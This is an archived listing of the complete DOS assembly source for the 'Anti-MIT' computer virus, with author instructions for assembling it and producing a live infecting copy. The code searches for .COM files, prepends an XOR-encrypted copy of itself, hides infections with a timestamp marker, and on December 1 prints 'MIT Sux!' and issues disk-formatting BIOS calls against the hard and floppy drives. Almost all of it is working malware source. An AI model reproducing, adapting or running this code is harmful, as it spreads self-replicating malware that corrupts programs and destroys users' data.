home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MIT.ASM < prev    next >
Assembly Source File  |  1992-05-30  |  9KB  |  316 lines

  1. ;                          **  Anti-MIT Virus **
  2. ;       To assemble, use TASM and TLINK to create a .COM file. Next
  3. ;    run the .COM file in the same directory of a file you want to infect.
  4. ;    Your system may hang, but after re-booting you will notice an increase
  5. ;    in the target files size. Now debug the newly infected file and replace
  6. ;    the first three bytes with E8 05 00 (call to encryption). Re-write the
  7. ;    .COM file and now you should have a running copy of the Anti-Mit virus!
  8. ;
  9. ;                 - Do not distribute the Anti-MIT virus for this
  10. ;                 activity is against the law! The author will take
  11. ;                 NO responsiblity for others.
  12. ;                                 TEST ONLY
  13. ;
  14. ;                        For more info see MIT.DOX file.
  15.  
  16.  
  17.  
  18.  
  19. name    AntiMIT
  20.     title   Anti-MIT: The original Anti-MIT virus code! 
  21.     .radix  16
  22. code    segment
  23.     assume  cs:code,ds:code
  24.     org     100
  25.  
  26. buffer  equ     offset 20000d                 ; Buffer
  27. fname   equ     offset 20000d + 1eh           ; DTA - File name
  28. ftime   equ     offset 20000d + 16h           ; DTA - File time
  29. fsize   equ     offset 20000d + 1ah           ; DTA - File size
  30. olddta  equ     80                            ; Old DTA area
  31.  
  32. start:
  33.     jmp     main                          ; *See above*
  34.     nop
  35.     jmp     main                          ; Jmp to virus body
  36.  
  37. encrypt_val     db      0                     ; Randomized encryption value
  38.  
  39. decrypt:                                      ; Encrypt/decrypt engine
  40. encrypt:                                      ; [SKISM type]
  41.      lea        si, data
  42.      mov        ah, encrypt_val
  43.      jmp        fool_em                       ; Fool with the scanners
  44.  
  45. xor_loop:
  46.      lodsb                                    ; ds:[si] -> al
  47.      xor     al, ah
  48.      stosb                                    ; al -> es:[di]
  49.      loop    xor_loop
  50.      mov     ah,19h                           ; Set current drive as default
  51.      int     21h
  52.      mov     dh,al
  53.      mov     ah,0eh
  54.      int     21h
  55.      ret                
  56.  
  57. fool_em:
  58.      mov        di, si
  59.      mov        cx, stop_encrypt - data
  60.      jmp        xor_loop
  61.  
  62.  
  63.  
  64. data            label   byte                  ; Virus data
  65. message         db      'MIT Sux! $'          ; The "message"
  66. lengthp         dw      ?                     ; Length of infected file
  67. allcom          db      '*.COM',0             ; What to search for
  68. virus           db      '[Anti-MIT]',0        ; Virus name
  69. author          db      'Fîrs╪StrîkΣ',0       ; Author
  70.  
  71. main:                                         ; Main virus code
  72.     mov     ah,2ah                        ; Get the date
  73.     int     21h
  74.      
  75.     cmp     dh,12d                        ; Month 12?
  76.     jnz     next                          ; No
  77.     
  78.      
  79.     cmp     dl,01d                        ; Day one?
  80.     jnz     next                          ; No
  81.     lea     dx,message                    ; Yes, set off the "bomb"
  82.     mov     ah,09h
  83.     int     21h
  84.  
  85.     mov     ah,05h
  86.     mov     al,02h
  87.     mov     ch,00h
  88.     mov     dh,00h
  89.     mov     dl,80h
  90.     int     13h
  91.  
  92.     mov     ah,06h
  93.     int     13h
  94.  
  95.     mov     ah,05h
  96.     mov     dl,00h
  97.     int     13h
  98.  
  99.     mov     ah,4ch                        ; Exit
  100.     int     21h
  101.  
  102. next:
  103.     mov     cx,lengthp                    ; Figure out the Jmp 
  104.     sub     cx,eendcode-start
  105.     mov     the_jmp,cx
  106.  
  107.     
  108.  
  109.  
  110.     push    es                            ; Save ES
  111.     mov     ax,3524h                      ; Get interrupt 24h handler
  112.     int     21h                           ; and save it in errhnd
  113.     mov     [err1],bx
  114.     mov     [err2],es
  115.     pop     es                            ; Restore ES
  116.  
  117.     mov     ax,2524h                      ; Set interrupt 24h handler
  118.     lea     dx,handler
  119.     int     21h
  120.  
  121.     xor     dx,dx                         ; Set DTA in "buffer" area
  122.     mov     si,dx
  123.     mov     dx,buffer
  124.     add     dx,si                         ; Set new Disk Transfer Address
  125.     mov     ah,1A                         ; Set DTA
  126.     int     21
  127.  
  128.  
  129. find_first:
  130.     mov     dx,offset allcom              ; Search for '*.COM' files
  131.     mov     cx,00000001b                  ; Normal, Write Protected
  132.     mov     ah,4E                         ; Find First file
  133.     int     21
  134.     jc      pre_done                      ; Quit if none found
  135.     jmp     check_if_ill
  136.        
  137. mover:                                        ; The "mover" code
  138.     push    cs                            ; Store CS
  139.     pop     es                            ; and move it to ES
  140.     mov     di,0100h                      
  141.     lea     si,eendcode                   ; Move original code to 
  142.     add     si,the_jmp                    ; beginning
  143.     add     si,endcode-mover
  144.     mov     cx,eendcode-start
  145.     rep     movsb
  146.     mov     di,0100h                      ; Jmp to CS:[100h]
  147.     jmp     di
  148.  
  149. pre_done:
  150.     jmp     done                          ; Long jmp
  151.  
  152. find_next:
  153.     mov     ah,4fh                        ; Search for next
  154.     int     21h
  155.     jc      pre_done
  156.  
  157. check_if_ill:                                 ; File infected?
  158.     mov     ax,cs:[ftime]
  159.     and     al,11111b                     ; Look for the 62 sec marker
  160.     cmp     al,62d/2                      ; [Vienna type]
  161.     jz      find_next
  162.  
  163.     cmp     cs:[fsize],19000d             ; Check if file larger then 
  164.     ja      find_next                     ; 19000 bytes - if so skip
  165.  
  166.     cmp     cs:[fsize],500d               ; Check if file smaller then
  167.     jb      find_next                     ; 500 bytes - if so skip
  168.  
  169.  
  170. mainlp:                                       ; Write the virus
  171.     mov     dx,fname
  172.     mov     ah,43h                        ; Write enable
  173.     mov     al,0
  174.     int     21h
  175.     mov     ah,43h
  176.     mov     al,01h
  177.     and     cx,11111110b
  178.     int     21h
  179.  
  180.     
  181.     mov     ax,3d02h                      ; Open file (read/write)
  182.     int     21h
  183.     jc      pre_done
  184.     mov     bx,ax
  185.  
  186.     mov     ax,5700h                      ; Get date for file
  187.     int     21h
  188.     mov     [time],cx                       ; Save date info
  189.     mov     [date],dx
  190.  
  191.     mov     ah,3fh                        ; Read original code into 
  192.     mov     dx,buffer                     ; buffer (length of virus)
  193.     mov     cx,eendcode-start
  194.     int     21h
  195.     jc      pre_done
  196.     cmp     ax,eendcode-start
  197.     jne     pre_done
  198.  
  199.  
  200.     mov     ah,42h                        ; Go to end of file
  201.     mov     al,02h
  202.     xor     cx,cx
  203.     xor     dx,dx
  204.     int     21h
  205.     jc      pre_done
  206.     mov     cx,ax
  207.     mov     lengthp,ax                    ; Save original program code
  208.  
  209.     mov     ah,40h                        ; Write "mover" code to end   
  210.     lea     dx,mover                      ; of file
  211.     mov     cx,endcode-mover
  212.     int     21h
  213.     jc      done
  214.     cmp     ax,endcode-mover
  215.     jne     done
  216.  
  217.     mov     ah,40h                        ; Write original program code 
  218.     mov     dx,buffer                     ; to end of the file
  219.     mov     cx,eendcode-start
  220.     int     21h
  221.     jc      done
  222.     cmp     ax,eendcode-start
  223.     jne     done
  224.  
  225.     mov     ah,42h                        ; Go to front of file
  226.     mov     al,00h
  227.     xor     cx,cx
  228.     xor     dx,dx
  229.     int     21h
  230.     jc      done
  231.     
  232. stop_encrypt:
  233.     mov     ah,2ch                        ; Get time
  234.     int     21h                           
  235.     
  236.     mov     encrypt_val,dh                ; Use time as random encryption
  237.     call    encrypt                       ; value
  238.     
  239.     mov     ah,40h                        ; Write virus code to front of
  240.     lea     dx,start                      ; file
  241.     mov     cx,eendcode-start
  242.     int     21h
  243.     jc      done
  244.     cmp     ax,eendcode-start
  245.     jne     done
  246.     jmp     date_stuff
  247.  
  248. handler:
  249.     mov     al,0
  250.     iret
  251. endp
  252.  
  253.  
  254. time    dw      ?                             ; File stamp - time
  255. date    dw      ?                             ; File stamp - date
  256. err1    dw      ?                             ; Original error handler 
  257. err2    dw      ?                             ; address
  258.  
  259. date_stuff:                                   ; Restore old file stamp
  260.     mov     ax,5701h       
  261.     mov     cx,[time]
  262.     mov     dx,[date]
  263.     and     cl,not 11111b                 ; Set seconds field to 62 secs.
  264.     or      cl,11111b
  265.     int     21h
  266.     mov     ah,3eh
  267.     int     21h
  268.     mov     dx,olddta                     ; Restore "original" DTA
  269.     mov     ah,1ah
  270.     int     21h
  271.  
  272.     push    ds                            ; Save DS
  273.     mov     ax,2524h                      ; Set interrupt 24h handler
  274.     mov     dx,err1                       ; Restore saved handler
  275.     mov     dx,err2
  276.     mov     ds,dx
  277.     int     21h
  278.     pop     ds                            ; Restore DS
  279.  
  280. done:
  281.     xor     cx,cx                         ; Clear registors
  282.     xor     dx,dx
  283.     xor     bx,bx
  284.     xor     ax,ax
  285.     xor     si,si
  286. jmp_code db     0e9h                          ; Preform jmp to "mover" code
  287. the_jmp  dw     ?
  288.  
  289. go:
  290. eendcode        label          byte
  291.  
  292.     nop                                   ; krap
  293.     nop
  294.     nop
  295.     nop
  296.     nop
  297.  
  298.  
  299.  
  300.  
  301. endcode         label          byte
  302.  
  303.  
  304.  
  305.  
  306.  
  307.  
  308.  
  309.  
  310.  
  311.  
  312.  
  313.  
  314. code    ends
  315.     end     start
  316.